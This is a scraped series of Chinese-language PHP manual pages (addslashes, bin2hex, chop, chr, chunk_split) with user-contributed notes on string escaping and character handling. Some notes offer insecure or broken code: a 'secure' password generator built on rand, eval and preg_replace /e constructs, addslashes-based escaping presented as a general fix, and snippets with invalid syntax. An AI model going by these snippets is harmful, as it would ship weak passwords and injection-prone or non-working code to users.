if you need to quote a string in xpath it's
<?php
//based on https://stackoverflow.com/a/1352556/1067003
function xpath_quote(string $value):string{
    if(false===strpos($value,'"')){
        return '"'.$value.'"';
    }
    if(false===strpos($value,'\'')){
        return '\''.$value.'\'';
    }
    // if the value contains both single and double quotes, construct an
    // expression that concatenates all non-double-quote substrings with
    // the quotes, e.g.:
    //
    //    concat("'foo'", '"', "bar")
    $sb='concat(';
    $substrings=explode('"',$value);
    for($i=0;$i<count($substrings);++$i){
        $needComma=($i>0);
        if($substrings[$i]!==''){
            if($i>0){
                $sb.=', ';
            }
            $sb.='"'.$substrings[$i].'"';
            $needComma=true;
        }
        if($i < (count($substrings) -1)){
            if($needComma){
                $sb.=', ';
            }
            $sb.="'\"'";
        }
    }
    $sb.=')';
    return $sb;
}
$xp->query('/catalog/items/item[title='.xpath_quote($var).']');
?>
if you need to quote strings in CSS its
<?php
// CSS escape code ripped from Zend Framework ( https://github.com/zendframework/zf2/blob/master/library/Zend/Escaper/Escaper.php )
function css_escape_string($string)
{
    $cssMatcher = function ($matches) {
        $chr = $matches[0];
        if (strlen($chr) == 1) {
            $ord = ord($chr);
        } else {
            $chr = mb_convert_encoding($chr, 'UTF-16BE', 'UTF-8'); // $this->convertEncoding($chr, 'UTF-16BE', 'UTF-8');
            $ord = hexdec(bin2hex($chr));
        }
        return sprintf('\\%X ', $ord);
    };
    $originalEncoding = mb_detect_encoding($string);
    if ($originalEncoding === false) {
        $originalEncoding = 'UTF-8';
    }
    ;
    $string = mb_convert_encoding($string, 'UTF-8', $originalEncoding); // $this->toUtf8($string);
                                                                        // throw new Exception('mb_convert_encoding(\''.$string.'\',\'UTF-8\',\''.$originalEncoding.'\');');
    if ($string === '' || ctype_digit($string)) {
        return $string;
    }
    $result = preg_replace_callback('/[^a-z0-9]/iSu', /*$this->*/$cssMatcher, $string);
    // var_dump($result);
    return mb_convert_encoding($result, $originalEncoding, 'UTF-8'); // $this->fromUtf8($result);
}

?>

- but never addslashes.
baburaj dot ambalam at gmail dot com 12-Aug-2020 03:22
escape '$'  using backslash '\$'

<?php

  $evalStr = "5 + 3";
  $sum = 0;
  $evalStr = " \$sum = ". $evalStr.";";
  eval( $evalStr);
  print ("sum ".$sum);

?>
geekcom 19-Jul-2019 04:41
For PHP 7.3.* use FILTER_SANITIZE_ADD_SLASHES.

<?php
$str = "Is your name O'Reilly?";
$strWithSlashes = filter_var($str, FILTER_SANITIZE_ADD_SLASHES);

// Outputs: Is your name O\'Reilly?
echo $strWithSlashes;

?>
David Spector 04-Oct-2013 02:30
If all you want to do is quote a string as you would normally do in PHP (for example, when returning an Ajax result, inside a json string value, or when building a URL with args), don't use addslashes (you don't want both " and ' escaped at the same time). Instead, just use this function:

<?php
function Quote($Str) // Double-quoting only
    {
    $Str=str_replace('"','\"',$Str);
    return '"'.$Str.'"';
    } // Quote
?>

Modify this easily to get a single-quoting function.
Lars 03-Apr-2012 08:51
Even for simple json string backslash encodings, do not use this function. Some tests may work fine, but in json the single quote (') must not be escaped.
svenr at selfhtml dot org 01-Feb-2011 08:45
To output a PHP variable to Javascript, use json_encode().

<?php

$var = "He said \"Hello O'Reilly\" & disappeared.\nNext line...";
echo "alert(".json_encode($var).");\n";

?>

Output:
alert("He said \"Hello O'Reilly\" & disappeared.\nNext line...") ;
roysimke at microsoftsfirstmailprovider dot com 18-Jun-2010 01:35
Never use addslashes function to escape values you are going to send to mysql. use mysql_real_escape_string or pg_escape at least if you are not using prepared queries yet.

keep in mind that single quote is not the only special character that can break your sql query. and quotes are the only thing which addslashes care.
DarkHunterj 25-Aug-2009 05:11
Based on:
Danijel Pticar
05-Aug-2009 05:22
I recommend this extended version, to replace addslashes altogether(works for both strings and arrays):
<?php
function addslashesextended(&$arr_r)
{
    if(is_array($arr_r))
    {
        foreach ($arr_r as &$val)
            is_array($val) ? addslashesextended($val):$val=addslashes($val);
        unset($val);
    }
    else
        $arr_r=addslashes($arr_r);
}
?>
stuart at horuskol dot co dot uk 11-Dec-2008 02:44
Be careful on whether you use double or single quotes when creating the string to be escaped:

$test = 'This is one line\r\nand this is another\r\nand this line has\ta tab';

echo $test;
echo "\r\n\r\n";
echo addslashes($test);

$test = "This is one line\r\nand this is another\r\nand this line has\ta tab";

echo $test;
echo "\r\n\r\n";
echo addslashes($test);
Nate from RuggFamily.com 24-May-2007 07:19
If you want to add slashes to special symbols that would interfere with a regular expression (i.e., . \ + * ? [ ^ ] $ ( ) { } = ! < > | :), you should use the preg_quote() function.
Adrian C 02-Mar-2007 06:06
What happends when you add addslashes(addslashes($str))? This is not a good thing and it may be fixed:

function checkaddslashes($str){
    if(strpos(str_replace("\'",""," $str"),"'")!=false)
        return addslashes($str);
    else
        return $str;
}

checkaddslashes("aa'bb");  => aa\'bb
checkaddslashes("aa\'bb"); => aa\'bb
checkaddslashes("\'"); => \'
checkaddslashes("'");  => \'

Hope this will help you
joechrz at gmail dot com 19-Aug-2006 05:36
Here's an example of a function that prevents double-quoting, I'm surprised noone has put something like this up yet... (also works on arrays)

<?php
function escape_quotes($receive) {
    if (!is_array($receive))
        $thearray = array($receive);
    else
        $thearray = $receive;

    foreach (array_keys($thearray) as $string) {
        $thearray[$string] = addslashes($thearray[$string]);
        $thearray[$string] = preg_replace("/[\\/]+/","/",$thearray[$string]);
    }

    if (!is_array($receive))
        return $thearray[0];
    else
        return $thearray;
}
?>
Picky 24-May-2006 12:55
This function is deprecated in PHP 4.0, according to this article:

http://www.newsforge.com/article.pl?sid=06/05/23/2141246

Also, it is worth mentioning that PostgreSQL will soon start to block queries involving escaped single quotes using \ as the escape character, for some cases, which depends on the string's encoding.  The standard way to escape quotes in SQL (not all SQL databases, mind you) is by changing single quotes into two single quotes (e.g, ' ' ' becomes ' '' ' for queries).

You should look into other ways for escaping strings, such as "mysql_real_escape_string" (see the comment below), and other such database specific escape functions.
luciano at vittoretti dot com dot br 31-Oct-2005 03:18
Note, this function wont work with mssql or access queries.
Use the function above (work with arrays too).

function addslashes_mssql($str){
    if (is_array($str)) {
        foreach($str AS $id => $value) {
            $str[$id] = addslashes_mssql($value);
        }
    } else {
        $str = str_replace("'", "''", $str);
    }

    return $str;
}

function stripslashes_mssql($str){
    if (is_array($str)) {
        foreach($str AS $id => $value) {
            $str[$id] = stripslashes_mssql($value);
        }
    } else {
        $str = str_replace("''", "'", $str);
    }

    return $str;
}
unsafed 30-Apr-2005 08:23
addslashes does NOT make your input safe for use in a database query! It only escapes according to what PHP defines, not what your database driver defines. Any use of this function to escape strings for use in a database is likely an error - mysql_real_escape_string, pg_escape_string, etc, should be used depending on your underlying database as each database has different escaping requirements. In particular, MySQL wants \n, \r and \x1a escaped which addslashes does NOT do. Therefore relying on addslashes is not a good idea at all and may make your code vulnerable to security risks. I really don't see what this function is supposed to do.
hazy underscore fakie at ringwraith dot org 12-Jul-2003 11:23
Note that when using addslashes() on a string that includes cyrillic characters, addslashes() totally mixes up the string, rendering it unusable.
hoskerr at nukote dot com 12-Nov-2002 03:16
Beware of using addslashes() on input to the serialize() function.   serialize() stores strings with their length; the length must match the stored string or unserialize() will fail.

Such a mismatch can occur if you serialize the result of addslashes() and store it in a database; some databases (definitely including PostgreSQL) automagically strip backslashes from "special" chars in SELECT results, causing the returned string to be shorter than it was when it was serialized.

In other words, do this...

<?php
$string="O'Reilly";
$ser=serialize($string);    # safe -- won't count the slash
$result=addslashes($ser);
?>

...and not this...

<?php
$string="O'Reilly";
$add=addslashes($string);   # RISKY!  -- will count the slash
$result=serialize($add);
?>

In both cases, a backslash will be added after the apostrophe in "O'Reilly"; only in the second case will the backslash be included in the string length as recorded by serialize().

[Note to the maintainers: You may, at your option, want to link this note to serialize() as well as to addslashes().  I'll refrain from doing such cross-posting myself...]
php at slamb dot org 30-Oct-2002 10:48
spamdunk at home dot com, your way is dangerous on PostgreSQL (and presumably MySQL). You're quite correct that ANSI SQL specifies using ' to escape, but those databases also support \ for escaping (in violation of the standard, I think). Which means that if they pass in a string that includes a "\'", you expand it to "\'''" (an escaped quote followed by a non-escaped quote. WRONG! Attackers can execute arbitrary SQL to drop your tables, make themselves administrators, whatever they want.)

The best way to be safe and correct is to:

- don't use magic quotes; this approach is bad. For starters, that's making the assumption that you will be using your input in a database query, which is arbitrary. (Why not escape all "<"s with "&lt;"s instead? Cross-site scripting attacks are quite common as well.) It's better to set up a way that does whatever escaping is correct for you when you use it, as below:

- when inserting into the database, use prepared statements with placeholders. For example, when using PEAR DB:

<?php
    $stmt = $dbh->prepare('update mb_users set password = ? where username = ?');
    $dbh->execute($stmt, array('12345', 'bob'));
?>

Notice that there are no quotes around the ?s. It handles that for you automatically. It's guaranteed to be safe for your database. (Just ' on oracle, \ and ' on PostgreSQL, but you don't even have to think about it.)

Plus, if the database supports prepared statements (the soon-to-be-released PostgreSQL 7.3, Oracle, etc), several executes on the same prepare can be faster, since it can reuse the same query plan. If it doesn't (MySQL, etc), this way falls back to quoting code that's specifically written for your database, avoiding the problem I mentioned above.

(Pardon my syntax if it's off. I'm not really a PHP programmer; this is something I know from similar things in Java, Perl, PL/SQL, Python, Visual Basic, etc.)
hybrid at n0spam dot pearlmagik dot com 08-May-2001 10:46
Remember to slash underscores (_) and percent signs (%), too, if you're going use the LIKE operator on the variable or you'll get some unexpected results.


将二进制数据转换为十六进制表示

  • ? addslashes
  • chop ?
  • PHP Manual
  • 字符串 函数
  • 将二进制数据转换为十六进制表示

bin2hex

(PHP 4, PHP 5, PHP 7, PHP 8)

bin2hex — 将二进制数据转换为十六进制表示

说明

bin2hex(string $string): string

返回 ASCII 字符串，包含 string 的十六进制表示。转换是高位优先，按字节完成的。

参数

string

字符串。

返回值

返回指定字符串的十六进制表示。

示例

Example #1 bin2hex() 示例

<?php

$hex = bin2hex('Hello world!');

var_dump($hex);
var_dump(hex2bin($hex));
?>

以上示例会输出：

string(24) "48656c6c6f20776f726c6421"
string(12) "Hello world!"

参见

  • hex2bin() - 转换十六进制字符串为二进制字符串
  • pack() - 将数据打包成二进制字符串

User Contributed Notes

busuioc dot alexandru at gmail dot com 21-Mar-2019 03:43
Convenient way of generating API keys

<?php
$apikey = bin2hex(random_bytes(32)); // generates 64 characters long string /^[0-9a-f]{64}$/
?>
subdivizion at gmail dot com 18-Sep-2009 05:19
Here's a function to check if a string contains any 7-bit GSM characters.

It might come useful for people working on SMS platforms.

<?php

function check_gsm($str)
{
    $arr = array(
"0x00", "0x01", "0x02", "0x03", "0x04", "0x05","0x06","0x07","0x08","0x09",
"0x0A","0x0B","0x0C","0x0D","0x0E","0x0F","0x10","0x11","0x12","0x13",
"0x14","0x15","0x16","0x17","0x18","0x19","0x1A","0x1B","0x1B0A",
"0x1B14","0x1B28","0x1B29","0x1B2F","0x1B3C","0x1B3D","0x1B3E",
"0x1B40","0x1B65","0x1C","0x1D","0x1E","0x1F","0x20","0x21","0x22",
"0x23","0x24","0x25","0x26","0x27","0x28","0x29","0x2A","0x2B","0x2C",
"0x2D","0x2E","0x2F","0x30","0x31","0x32","0x33","0x34","0x35","0x36",
"0x37","0x38","0x39","0x3A","0x3B","0x3C","0x3D","0x3E","0x3F","0x40",
"0x41","0x42","0x43","0x44","0x45","0x46","0x47","0x48","0x49","0x4A",
"0x4B","0x4C","0x4D","0x4E","0x4F","0x50","0x51","0x52","0x53","0x54",
"0x55","0x56","0x57","0x58","0x59","0x5A","0x5B","0x5C","0x5D","0x5E",
"0x5F","0x60","0x61","0x62","0x63","0x64","0x65","0x66","0x67","0x68",
"0x69","0x6A","0x6B","0x6C","0x6D","0x6E","0x6F","0x70","0x71","0x72",
"0x73","0x74","0x75","0x76","0x77","0x78","0x79","0x7A","0x7B","0x7C",
"0x7D","0x7E","0x7F");

    $strl = strlen($str);
    for ($i = 0;$i < $strl; $i++)
    {
        $char = '0x' . bin2hex(substr($str,$i,1));
        $pos = in_array($char,$arr);
        if ($pos == 1)
        {
            $j++;
        }
    }

    if ($j < $strl)
    {
        return false;
    }
    else
    {
        return true;
    }
}
?>
tehjosh at gamingg dot net 11-Aug-2007 11:35
This function is for converting binary data into a hexadecimal string representation.  This function is not for converting strings representing binary digits into hexadecimal.  If you want that functionality, you can simply do this:

<?php
$binary = "11111001";
$hex = dechex(bindec($binary));
echo $hex;
?>

This would output "f9".  Just remember that there is a very big difference between binary data and a string representation of binary.
j_lozinskit at yahoo dot co dot uk 24-Nov-2004 05:11
A good option for creating strings with binary data for saving (for example saving an sql statement to a file) into text files or php code is to do the following:

<?php
$field=bin2hex($field);
$field=chunk_split($field,2,"\\x");
$field= "\\x" . substr($field,0,-2);
?>

this will convert your field (binary or not) into hex and then convert the hex into a string which may be placed in a php file:

FFFFFFFF -> \xFF\xFF\xFF\xFF
tightcode at hotmail dot com 25-Aug-2001 08:05
I was just browsing the above and with a little modification,
came up with the following which I believe to be more flexible:

<?php
function bin2hex($data) {
    $corrected = ereg_replace("[^0-9a-fA-F]","",$data);
    return pack("H".strlen($corrected),$corrected);
}
?>

This will make sure that whatever you pass, even if it is padded
at the extremeties or between pairs, should return the desired data.
pedram at redhive dot com 31-Jan-2001 05:21
In an attempt to dodge spam bots I've seen people (including myself) hex encode their email addresses in "mailto" tags. This is the small chunk of code I wrote to automate the process:

<?php
function hex_encode ($email_address)    {
        $encoded = bin2hex("$email_address");
        $encoded = chunk_split($encoded, 2, '%');
        $encoded = '%' . substr($encoded, 0, strlen($encoded) - 1);
        return $encoded;
}
?>

so for example:
<a href="mailto:&lt;?=hex_encode("pedram@redhive.com")?>">email me</a>

would produce the following address:
%70%65%64%72%61%6d%40%72%65%64%68%69%76%65%2e%63%6f%6d

-pedram


rtrim 的别名

  • ? bin2hex
  • chr ?
  • PHP Manual
  • 字符串 函数
  • rtrim 的别名

chop

(PHP 4, PHP 5, PHP 7, PHP 8)

chop — rtrim() 的别名

说明

此函数是该函数的别名：rtrim()。

注释

Note:

chop() 与 Perl 的 chop() 函数有所不同，它会删除字符串的最后一个字符。

User Contributed Notes

JumpIfBelow 11-Aug-2015 09:46
If you are searching for a function that does the same trick as chop in PERL, then you should just do the following code:
<?php
   $str = substr($str, 0, -1);
?>

The question is: why isn't chop() an alias of the code above, rather than something which will trap developpers?
Kubo2 11-Apr-2015 10:30
Rather use rtrim(). Usage of chop() is not very clear nor consistent for people reading the code after you.
krkbpk at gmail dot com RamaKrishna Kothamasu 08-Feb-2013 01:20
//simple example function for chop()
<?php
echo "<pre>";//without <pre> you cann't see desired output in your browser
echo chop("   Ramki   ");//right spaces are eliminated
echo chop("Ramkrishna", "a..z");
echo "</pre>";
?>
/*output
  ------
  RamkiR*/
rahuls8730 at gmail dot com 17-May-2009 11:03
Definition and Usage

The chop() function will remove a white space or other predefined character from the right end of a string.

This function is an alias of the rtrim() function.
Syntax
chop(string,charlist)

Parameter     Description
string     Required. Specifies the string to check
charlist     Optional. Specifies which characters to remove from the string.
The following characters are allowed and is set to be removed if the charlist parameter is empty:

    * "\0" - ASCII 0, NULL
    * "\t" - ASCII 9, a tab
    * "\n" - ASCII 10, a new line
    * "\x0B" - ASCII 11, a vertical tab.
    * "\r" - ASCII 13, a carriage return
    * " " - ASCII 32, an ordinary white space
anon at mailinator dot com 11-May-2007 01:06
Another possible one would be to use this:

<?php
function chup(){

$ar=Array();

foreach(func_get_args() as $b) {

push($ar,$b[strlen($b)-1]);

&$b[strlen($b)-1]='';

  }

return $ar;

 }
?>

If you wanted to perl-chop a va list of strings and return the removed chars. Obviously you can easily mod it for va list arrays of strings and the like.


从数字生成单字节字符串

  • ? chop
  • chunk_split ?
  • PHP Manual
  • 字符串 函数
  • 从数字生成单字节字符串

chr

(PHP 4, PHP 5, PHP 7, PHP 8)

chr — 从数字生成单字节字符串

说明

chr(int $codepoint): string

返回单字符字符串，包含将 codepoint 作为无符号整数解释的指定字符。

这可用于在一种单字节编码（像是 ASCII、ISO-8859 或 Windows 1252）中通过传递想要的字符在编码映射表中的位置来创建单字符字符串。但是，注意此函数并不清楚任何字符串编码，特别是无法通过传递一个 Unicode 码位值来生成多字节编码（像是 UTF-8 或 UTF-16）字符串。

此函数与 ord() 互补。

参数

codepoint

一个介于 0 与 255 之间的整数。

超过有效范围（0..255）的值将和 255"按位与"，与以下算法等效：

while ($bytevalue < 0) {
$bytevalue += 256;
}
$bytevalue %= 256;

返回值

包含指定字节的单字符字符串。

更新日志

版本 | 说明
7.4.0 | 此函数不再静默接受不支持的 codepoint，并会将它们转为 0。

示例

Example #1 chr() 例子

<?php
// 假设该字符串将被作为 ASCII 或是一个与 ASCII 兼容的编码使用

$str = "The string ends in escape: ";
$str .= chr(27); /* 在 $str 末尾添加一个转义字符 */

/* 通常这样更有用 */

$str = sprintf("The string ends in escape: %c", 27);
?>

Example #2 溢出行为

<?php
echo chr(-159), chr(833), PHP_EOL;
?>

以上示例会输出：

aA

Example #3 从单个字节构建 UTF-8 字符串

<?php
$str = chr(240) . chr(159) . chr(144) . chr(152);
echo $str;
?>

以上示例会输出：

??

参见

  • sprintf() - 返回格式化字符串 如何使用格式字符串 %c
  • ord()
  • 一个 » ASCII 表
  • mb_chr()
  • IntlChar::chr()

User Contributed Notes

Noname 22-Jan-2022 03:53
<?php

for ($i = 128; $i <= 191; $i++) {
    $str = chr(240) . chr(159) . chr(144) . chr($i);
    echo $str;
}

?>
gfour 11-Aug-2019 05:29
I was looking for a simple method to construct excel like column identifiers e.g: A B .... AA AB AC etc, using chr() and modulo, but there is magic...
https://www.php.net/manual/en/language.operators.increment.php

So, this also works
<?php
$p = chr(65);      // or simply $p = 'A';
for ($i = 1; $i < 53; $i++){
    echo $p++ . " - ";
    if ($i % 10 == 0) echo '</br>';
}
?>

Gives
A - B - C - D - E - F - G - H - I - J -
K - L - M - N - O - P - Q - R - S - T -
U - V - W - X - Y - Z - AA - AB - AC - AD -
AE - AF - AG - AH - AI - AJ - AK - AL - AM - AN -
AO - AP - AQ - AR - AS - AT - AU - AV - AW - AX -
AY - AZ -
Ray.Paseur sometimes uses Gmail 28-Jan-2019 08:47
I needed to generate an invalid UTF-8 character for testing with JSON.  This did the trick:

<?php
echo 'Bogus UTF-8 character at end' . chr(0xC6) ;
ibaid at mail dot ru 28-Mar-2018 05:20
string mb_chr ( int $cp [, string $encoding ] )
Parameter List:
cp - character code (in decimal notation)
encoding - encoding (UTF-8, ASCII and so on)

We get the letter 'Ж'  from the encoding UTF-8:

$sim = mb_chr(0x0416, 'UTF-8');
echo $sim; // Ж

Get the character '}' from the encoding ASCII:

$sim = mb_chr(125, 'ASCII');
echo $sim ; // }
vitkorob 09-Feb-2016 01:01
Another quick function to get unicode char by its code.

<?php

function unichr($dec)
{
  if ($dec < 0x80)
  {
    $utf = chr($dec);
  }
  else if ($dec < 0x0800)
  {
    $utf = chr(0xC0 + ($dec >> 6));
    $utf .= chr(0x80 + ($dec & 0x3f));
  }
  else if ($dec < 0x010000)
  {
    $utf = chr(0xE0 + ($dec >> 12));
    $utf .= chr(0x80 + (($dec >> 6) & 0x3f));
    $utf .= chr(0x80 + ($dec & 0x3f));
  }
  else if ($dec < 0x200000)
  {
    $utf = chr(0xF0 + ($dec >> 18));
    $utf .= chr(0x80 + (($dec >> 12) & 0x3f));
    $utf .= chr(0x80 + (($dec >> 6) & 0x3f));
    $utf .= chr(0x80 + ($dec & 0x3f));
  }
  else
  {
    die("UTF-8 character size is more than 4 bytes");
  }

  return $utf;
}

echo unichr(0x263A);

?>
synnus at gmail dot com 10-Sep-2015 08:34
// rivencodec 1.0
// encode riverse ascii 1 simple function can encode/decode
// can use it for secure source with speed encode text

<?php

    function rivencodec($ch,$a=0) {
        while((@$b = $ch[$a++])) { $ch[$a-1] = chr(255-ord($b)); }
        return $ch;
    }

$zz = rivencodec("abcdefghijklmn");
echo 'encode: ',$zz,'<br/>',PHP_EOL;

$yy = rivencodec($zz);
echo 'decode: ',$yy,'<br/>',PHP_EOL;

?>
lingtalfi - at - somewhere 13-Jun-2015 06:09
It seems that php uses the table from here: http://ascii-code.com/
(and not from here: http://www.asciitable.com/ as suggested in the documentation) for codes from 128 to 255.

<?php
for ($i = 32; $i <= 255; $i++) {
    echo chr($i);
}
?>
v14t at gmx dot com 01-Apr-2014 05:58
argument is automatically converted to integer, so chr('65') and chr(65) would both output the letter A
darek at module17 dot com 07-Mar-2013 07:45
Simple password generation function using sprintf and the %c type specifier; which is the same as chr().

function genPass($len = 8) {
    for ($i=0;$i<=$len;$i++) {
        $passwd = sprintf('%s%c', isset($passwd) ? $passwd : NULL, rand(48, 122));
    }
    return $passwd;
}
gjarrige at six-axe dot fr 01-Mar-2012 09:47
to remove the ASCII control characters (except "line feed" and "tab") :

$tab_chr = array() ;
for($control = 0; $control < 32; $control++) {
    if ($control != 9 && $control != 10) {
        $tab_chr[]= chr($control) ;
    }
}
$tab_chr[]= chr(127) ;
$string = str_replace($tab_chr, '', $string);
mailderemi at gmail dot com 04-Feb-2011 08:17
Here is a sample of encoding and decoding using "chr" and "ord".
<?php
    function Encode($txtData,$Level){
        for ($j = 0;$j<$Level;$j++){
            $tmpStr = '';
            for ($i = 0;$i<strlen($txtData);$i++)
                $tmpStr .= ord(substr(strtoupper($txtData), $i, 1));
            $txtData = $tmpStr;
        }
        return (strlen($Level)).$Level.$txtData;
    }

    function Decode($txtData){
        $intLevel = substr($txtData, 1, substr($txtData, 0, 1));
        $startStr = substr($txtData, substr($txtData, 0, 1)+1, strlen($txtData));
        for ($j = 0;$j<$intLevel;$j++){
            for ($i = 0;$i<strlen($startStr);$i+=2)
                $tmpStr .= chr(intval(substr($startStr, $i, 2)));
            $startStr = $tmpStr;

            $tmpStr = "";
        }
        return $startStr;
    }

echo Encode('123',4).'<br>';
echo Decode(Encode('123',5));
?>
sinfocol at sinfocol dot org 30-Jun-2009 02:38
The function chr() also accepts negative numbers as an ascii code, so chr(-number) is equal to chr((number%256)+256).
And for ascii code higher than 255 is chr(number%256)

We can test with a little script
<?php
    for($i=-300; $i<300; $i++){
        echo "Ascii $i\t" . ord(chr($i)) . "\n";
    }
?>
voromax 31-Jan-2009 07:39
Another quick and short function to get unicode char by its code.

<?php
/**
 * Return unicode char by its code
 *
 * @param int $u
 * @return char
 */
function unichr($u) {
    return mb_convert_encoding('&#' . intval($u) . ';', 'UTF-8', 'HTML-ENTITIES');
}
?>
scott at quinlan dot co dot nz 20-Oct-2008 09:51
Secure password generator with a variable maximum amount of symbols.

<?php

function passwdGen($minLength = 8, $maxLength = 12, $maxSymbols = 2)
{
    $symbolCount = 0;

    srand((double)microtime() * 1000003);

    for ($i = 0; $i < rand($minLength, $maxLength); $i++)
    {
        do
        {
            $char = rand(33, 126);

            $symbolCount += $isSymbol = (!in_array($char, range(48, 57)) && !in_array($char, range(65, 90)) && !in_array($char, range(97, 122)));

            if ($symbolCount <= $maxSymbols || !$isSymbol)
            {
                break;
            }
        }
        while (true);

        $passwd = sprintf('%s%c', isset($passwd) ? $passwd : NULL, $char);
    }

    return $passwd;
}

?>
Josh B. 12-Aug-2008 02:06
In addition to replacing Microsoft Windows smart quotes, as sgaston demonstrated on 2006-02-13, I replace all other Microsoft Windows characters using suggestions[1] published by character code specialist[2] Jukka Korpela.

<?php
$str = str_replace(chr(130), ',', $str);    // baseline single quote
$str = str_replace(chr(131), 'NLG', $str);  // florin
$str = str_replace(chr(132), '"', $str);    // baseline double quote
$str = str_replace(chr(133), '...', $str);  // ellipsis
$str = str_replace(chr(134), '**', $str);   // dagger (a second footnote)
$str = str_replace(chr(135), '***', $str);  // double dagger (a third footnote)
$str = str_replace(chr(136), '^', $str);    // circumflex accent
$str = str_replace(chr(137), 'o/oo', $str); // permile
$str = str_replace(chr(138), 'Sh', $str);   // S Hacek
$str = str_replace(chr(139), '<', $str);    // left single guillemet
$str = str_replace(chr(140), 'OE', $str);   // OE ligature
$str = str_replace(chr(145), "'", $str);    // left single quote
$str = str_replace(chr(146), "'", $str);    // right single quote
$str = str_replace(chr(147), '"', $str);    // left double quote
$str = str_replace(chr(148), '"', $str);    // right double quote
$str = str_replace(chr(149), '-', $str);    // bullet
$str = str_replace(chr(150), '-', $str);    // endash
$str = str_replace(chr(151), '--', $str);   // emdash
$str = str_replace(chr(152), '~', $str);    // tilde accent
$str = str_replace(chr(153), '(TM)', $str); // trademark ligature
$str = str_replace(chr(154), 'sh', $str);   // s Hacek
$str = str_replace(chr(155), '>', $str);    // right single guillemet
$str = str_replace(chr(156), 'oe', $str);   // oe ligature
$str = str_replace(chr(159), 'Y', $str);    // Y Dieresis
?>

[1] On the use of some MS Windows characters in HTML
http://www.cs.tut.fi/~jkorpela/www/windows-chars.html

[2] Unicode Explained by Jukka Korpela
http://www.amazon.com/dp/059610121X/
darkodemon at gmail dot com 27-Apr-2007 04:33
chr() with unicode support

<?php

function uchr ($codes) {
    if (is_scalar($codes)) $codes= func_get_args();
    $str= '';
    foreach ($codes as $code) $str.= html_entity_decode('&#'.$code.';',ENT_NOQUOTES,'UTF-8');
    return $str;
}

echo uchr(23383); echo '<br/>';
echo uchr(23383,215,23383); echo '<br/>';
echo uchr(array(23383,215,23383,215,23383)); echo '<br/>';

?>
grey - greywyvern - com 19-Aug-2005 07:55
I spent hours looking for a function which would take a numeric HTML entity value and output the appropriate UTF-8 bytes.  I found this at another site and only had to modify it slightly; so I don't take credit for this.

<?php function unichr($dec) {
  if ($dec < 128) {
    $utf = chr($dec);
  } else if ($dec < 2048) {
    $utf = chr(192 + (($dec - ($dec % 64)) / 64));
    $utf .= chr(128 + ($dec % 64));
  } else {
    $utf = chr(224 + (($dec - ($dec % 4096)) / 4096));
    $utf .= chr(128 + ((($dec % 4096) - ($dec % 64)) / 64));
    $utf .= chr(128 + ($dec % 64));
  }
  return $utf;
} ?>

So for example:

<?php

  $str = "Chinese: &#20013;&#25991;";
  $str = preg_replace("/&#(\d{2,5});/e", "unichr($1);", $str);

?>
tenyou at gmail dot com 14-Jul-2004 11:05
When having to deal with parsing an IIS4 or IIS5 metabase dump I wrote a simple function for converting those MS hexidecimal values into their ascii counter parts. Hopefully someone will find use for it.

<?php
function hex_decode($string)  {
        for ($i=0; $i < strlen($string); $i)  {
        $decoded .= chr(hexdec(substr($string,$i,2)));
        $i = (float)($i)+2;
        }
return $decoded;
}
?>
perrodin at laposte dot net 11-Apr-2004 04:20
Note that if the number is higher than 256, it will return the number mod 256.
For example :
chr(321)=A because A=65(256)
Kristin 06-Mar-2003 08:19
Note that chr(10) is a 'line feed' and chr(13) is a 'carriage return' and they are not the same thing! I found this out while attempting to parse text from forms and text files for inclusion as HTML by replacing all the carriage returns with <BR>'s only to find after many head-scratchings that I should have been looking for line feeds. If anyone can shed some light on what the difference is, please do.

If you're planning on saving text from a form into a database for later display, you'll need to apply the following function so that it gets saved with the proper HTML tags.

<?php
$text = str_replace ( chr(10), "<BR>", $text );
?>

When you want to plug it back into that form for editing you need to convert it back.

<?php
$text = str_replace ( "<BR>", chr(10), $text)
?>

Hope this saves somebody some trouble. :)
joeldegan AT yahoo.com 14-Dec-2002 02:53
Want terminal colors in command line php scripts?

This should take care of that.
<?

$_colors = array(
        'LIGHT_RED'      => "[1;31m",
        'LIGHT_GREEN'     => "[1;32m",
        'YELLOW'     => "[1;33m",
        'LIGHT_BLUE'     => "[1;34m",
        'MAGENTA'     => "[1;35m",
        'LIGHT_CYAN'     => "[1;36m",
        'WHITE'     => "[1;37m",
        'NORMAL'     => "[0m",
        'BLACK'     => "[0;30m",
        'RED'         => "[0;31m",
        'GREEN'     => "[0;32m",
        'BROWN'     => "[0;33m",
        'BLUE'         => "[0;34m",
        'CYAN'         => "[0;36m",
        'BOLD'         => "[1m",
        'UNDERSCORE'     => "[4m",
        'REVERSE'     => "[7m",

);

function termcolored($text, $color="NORMAL", $back=1){
    global $_colors;
    $out = $_colors["$color"];
    if($out == ""){ $out = "[0m"; }
    if($back){
        return chr(27)."$out$text".chr(27).chr(27)."[0m".chr(27);
    }else{
        echo chr(27)."$out$text".chr(27).chr(27)."[0m".chr(27);
    }//fi
}// end function

echo termcolored("test\n", "BLUE");
?>
happyevil(at)1218.org 26-Mar-2001 07:31
Here is a function that's help me find what chr(number) outputs what character quicker than typing out 256 echo tags.

<?php
 function listChr(){
  for ($i = 0; $i < 256; ++$i) {
  static $genNum;
  $genNum++;
  echo "chr($genNum) will output '";
  echo (chr($genNum));
  echo "'< br>\n";
  }
}
listChr();
?>

Another helpful chr is #9, being a tab.  Quite using when making error logs.

 $tab = (chr(9));
 echo "<pre>error{$tab}date{$tab}time</pre>";

 -- HappyEvil
ddawsonNOSPAM at execpc dot com 09-May-2000 04:59
[Editor's note:

%c is defined as: "Print the character belonging to the ascii code given"

chr() just gives a string, so you need to use %s, even if the string consists of only one character. This is consistent with other languages.
--Jeroen@php.net]

Learn from my mistake:
Do not expect this to work!

<?php
$c_question = chr(63);
$v_out = sprintf("<%cphp\n", $c_question);
//... more stuff being sprintf'd into v_out here ...
$v_out = sprintf("%s%c>\n", $v_out, $c_question);
$v_fp = fopen("foofile", "w");
if ($v_fp)
{
     fwrite($v_fp, $v_out, strlen($v_out));
     fclose($v_fp);
}
?>

When I did this, foofile contained <NUL NUL NUL NUL NUL>.
I spun my wheels quite awhile looking at fputs, fwrite to verify I was calling those functions correctly.
My mistake was using $c_question = chr(63) instead of
$c_question = 63 (correct).  Then everything worked fine.


将字符串分割成小块

  • ? chr
  • convert_cyr_string ?
  • PHP Manual
  • 字符串 函数
  • 将字符串分割成小块

chunk_split

(PHP 4, PHP 5, PHP 7, PHP 8)

chunk_split — 将字符串分割成小块

说明

chunk_split(string $string, int $length = 76, string $separator = "\r\n"): string

